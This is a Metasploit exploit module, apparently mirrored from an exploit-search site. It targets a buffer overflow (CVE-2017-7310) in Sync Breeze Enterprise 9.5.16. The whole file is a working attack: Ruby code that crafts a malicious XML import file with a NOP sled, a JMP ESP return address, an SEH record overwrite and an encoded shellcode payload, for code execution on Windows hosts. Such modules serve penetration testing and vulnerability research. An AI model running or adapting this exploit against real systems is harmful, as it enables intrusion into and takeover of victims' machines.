Exploit for Sync Breeze Enterprise 9.5.16 - Import Command Buffer Overflow

## https://sploitus.com/exploit?id=MSF:EXPLOIT-WINDOWS-FILEFORMAT-SYNCBREEZE_XML-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Sync Breeze Enterprise 9.5.16 - Import Command Buffer Overflow',
        'Description' => %q{
          This module exploits a buffer overflow in Sync Breeze Enterprise 9.5.16
          by using the import command option to import a specially crafted xml file.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Daniel Teixeira'
        ],
        'References' => [
          [ 'CVE', '2017-7310' ],
          [ 'EDB', '41773' ]
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'seh',
          'DisablePayloadHandler' => true
        },
        'Platform' => 'win',
        'Payload' => {
          'BadChars' => "\x00\x01\x02\x0a\x0b\x0c\x22\x27",
          'StackAdjustment' => -3500
        },
        'Targets' => [
          ['Windows Universal', { 'Ret' => 0x10015FFE } ]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2017-03-29',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('FILENAME', [true, 'The file name.', 'msf.xml'])
      ]
    )
  end

  def exploit
    jmpesp = "\x7A\xB7\x1B\x65" # JMP ESP QtGui4.dll
    esp = "\x8D\x44\x24\x4C" # LEA EAX, [ESP+76]
    jmp = "\xFF\xE0" # JMP ESP

    buffer = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<classify\nname=\'"
    buffer << "\x90" * 1536
    buffer << jmpesp
    buffer << "\x90" * 18
    buffer << esp
    buffer << jmp
    buffer << "\x90" * 68
    buffer << generate_seh_record(target.ret)
    buffer << "\x90" * 10
    buffer << payload.encoded
    buffer << "\x90" * 5000
    buffer << "\n</classify>"

    print_status("Creating '#{datastore['FILENAME']}' file ...")
    file_create(buffer)
  end
end